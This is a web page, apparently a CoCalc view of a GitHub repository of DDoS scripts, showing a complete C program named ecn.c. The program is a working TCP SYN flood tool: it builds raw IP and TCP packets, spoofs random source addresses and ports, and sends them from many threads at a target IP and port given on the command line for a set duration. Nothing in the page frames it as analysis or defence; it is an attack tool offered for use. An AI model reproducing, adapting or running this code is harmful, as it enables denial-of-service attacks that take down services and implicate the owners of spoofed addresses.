Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/ecn.c
4565 views
1
#include <unistd.h>
2
#include <time.h>
3
#include <sys/types.h>
4
#include <sys/socket.h>
5
#include <sys/ioctl.h>
6
#include <string.h>
7
#include <stdlib.h>
8
#include <stdio.h>
9
#include <pthread.h>
10
#include <netinet/tcp.h>
11
#include <netinet/ip.h>
12
#include <netinet/in.h>
13
#include <netinet/if_ether.h>
14
#include <netdb.h>
15
#include <net/if.h>
16
#include <arpa/inet.h>
17
18
#define MAX_PACKET_SIZE 4096
19
#define PHI 0x9e3779b9
20
21
static unsigned long int Q[4096], c = 362436;
22
static unsigned int floodport;
23
volatile int limiter;
24
volatile unsigned int pps;
25
volatile unsigned int sleeptime = 100;
26
27
void init_rand(unsigned long int x)
28
{
29
int i;
30
Q[0] = x;
31
Q[1] = x + PHI;
32
Q[2] = x + PHI + PHI;
33
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
34
}
35
unsigned long int rand_cmwc(void)
36
{
37
unsigned long long int t, a = 18782LL;
38
static unsigned long int i = 4095;
39
unsigned long int x, r = 0xfffffffe;
40
i = (i + 1) & 4095;
41
t = a * Q[i] + c;
42
c = (t >> 32);
43
x = t + c;
44
if (x < c) {
45
x++;
46
c++;
47
}
48
return (Q[i] = r - x);
49
}
50
unsigned short csum (unsigned short *buf, int count)
51
{
52
register unsigned long sum = 0;
53
while( count > 1 ) { sum += *buf++; count -= 2; }
54
if(count > 0) { sum += *(unsigned char *)buf; }
55
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
56
return (unsigned short)(~sum);
57
}
58
59
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
60
struct tcp_pseudo{
61
unsigned long src_addr;
62
unsigned long dst_addr;
63
unsigned char zero;
64
unsigned char proto;
65
unsigned short length;
66
} pseudohead;
67
68
unsigned short total_len = iph->tot_len;
69
pseudohead.src_addr=iph->saddr;
70
pseudohead.dst_addr=iph->daddr;
71
pseudohead.zero=0;
72
pseudohead.proto=IPPROTO_TCP;
73
pseudohead.length=htons(sizeof(struct tcphdr));
74
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
75
unsigned short *tcp = malloc(totaltcp_len);
76
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
77
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
78
unsigned short output = csum(tcp,totaltcp_len);
79
free(tcp);
80
81
return output;
82
}
83
84
void setup_ip_header(struct iphdr *iph)
85
{
86
iph->ihl = 5;
87
iph->version = 4;
88
iph->tos = 0;
89
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
90
iph->id = htonl(54321);
91
iph->frag_off = 0;
92
iph->ttl = MAXTTL;
93
iph->protocol = 6;
94
iph->check = 0;
95
iph->saddr = inet_addr("192.168.3.100");
96
}
97
98
void setup_tcp_header(struct tcphdr *tcph)
99
{
100
tcph->source = htons(5678);
101
tcph->seq = rand();
102
tcph->ack_seq = 1;
103
tcph->res2 = 1;
104
tcph->doff = 5;
105
tcph->syn = 1;
106
tcph->window = htons(65535);
107
tcph->check = 1;
108
tcph->urg_ptr = 1;
109
}
110
111
void *flood(void *par1)
112
{
113
char *td = (char *)par1;
114
char datagram[MAX_PACKET_SIZE];
115
struct iphdr *iph = (struct iphdr *)datagram;
116
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
117
118
struct sockaddr_in sin;
119
sin.sin_family = AF_INET;
120
sin.sin_port = htons(floodport);
121
sin.sin_addr.s_addr = inet_addr(td);
122
123
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
124
if(s < 0){
125
fprintf(stderr, "Could not open raw socket.\n");
126
exit(-1);
127
}
128
memset(datagram, 0, MAX_PACKET_SIZE);
129
setup_ip_header(iph);
130
setup_tcp_header(tcph);
131
132
tcph->dest = htons(floodport);
133
134
iph->daddr = sin.sin_addr.s_addr;
135
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
136
137
int tmp = 1;
138
const int *val = &tmp;
139
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
140
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
141
exit(-1);
142
}
143
144
init_rand(time(NULL));
145
register unsigned int i;
146
i = 0;
147
while(1){
148
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
149
150
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
151
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
152
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
153
tcph->seq = rand_cmwc() & 0xFFFF;
154
tcph->source = htons(rand_cmwc() & 0xFFFF);
155
tcph->check = 0;
156
tcph->check = tcpcsum(iph, tcph);
157
}
158
}
159
int main(int argc, char *argv[ ])
160
{
161
if(argc < 6){
162
fprintf(stderr, "Invalid parameters!\n");
163
fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
164
exit(-1);
165
}
166
167
fprintf(stdout, "Setting up Sockets...\n");
168
169
int num_threads = atoi(argv[3]);
170
floodport = atoi(argv[2]);
171
int maxpps = atoi(argv[4]);
172
limiter = 0;
173
pps = 0;
174
pthread_t thread[num_threads];
175
176
int multiplier = 20;
177
178
int i;
179
for(i = 0;i<num_threads;i++){
180
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
181
}
182
fprintf(stdout, "Starting Flood...\n");
183
sleep(atoi(argv[5]));
184
return 0;
185
}
186
187